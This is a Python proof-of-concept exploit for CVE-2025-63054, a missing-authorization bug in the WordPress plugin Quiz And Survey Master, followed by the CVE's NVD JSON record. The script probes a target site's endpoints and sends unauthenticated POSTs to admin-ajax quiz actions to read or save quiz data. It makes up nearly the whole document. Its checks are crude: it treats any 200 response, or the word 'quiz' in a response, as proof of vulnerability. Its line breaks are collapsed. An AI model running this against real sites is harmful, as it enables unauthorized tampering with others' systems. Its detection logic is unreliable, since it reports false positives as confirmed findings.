CVE-2025-63054

import requests import sys # CVE-2025-63054 PoC - Missing Authorization in Quiz And Survey Master # Target: WordPress site with vulnerable Quiz And Survey Master plugin (<= 10.3.2) def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-63054 Missing Authorization via incorrectly configured access control """ # Try to access admin functions without authentication endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/wp/v2/quiz-master-next', '/wp-content/plugins/quiz-master-next/includes/classes/', ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) # Check if we can access admin-protected content if response.status_code == 200: print(f"[!] Potentially vulnerable endpoint found: {url}") print(f"[+] Status code: {response.status_code}") return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False def exploit_authorization_bypass(target_url): """ Exploit the missing authorization vulnerability Try to access or modify quiz data without admin privileges """ # Common quiz master next API endpoints api_endpoints = [ '/wp-admin/admin-ajax.php?action=qsm_get_quiz_data', '/wp-admin/admin-ajax.php?action=qsm_save_quiz', ] print("[*] Attempting to exploit CVE-2025-63054...") for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-63054-PoC)', 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(url, headers=headers, timeout=10, verify=False) # Check if response indicates successful unauthorized access if response.status_code == 200 and 'quiz' in response.text.lower(): print(f"[!] VULNERABLE: {url}") print(f"[+] Response preview: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Exploitation attempt completed") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-63054.py <target_url>") print("Example: python cve-2025-63054.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") print(f"[*] CVE-2025-63054: Quiz And Survey Master Missing Authorization\n") if check_vulnerability(target): exploit_authorization_bypass(target) else: print("[*] Target may not be vulnerable")

{"cve": {"id": "CVE-2025-63054", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:10.703", "lastModified": "2026-04-27T19:16:19.633", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ExpressTech Systems Quiz And Survey Master quiz-master-next allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Quiz And Survey Master: from n/a through <= 10.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/quiz-master-next/vulnerability/wordpress-quiz-and-survey-master-plugin-10-3-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}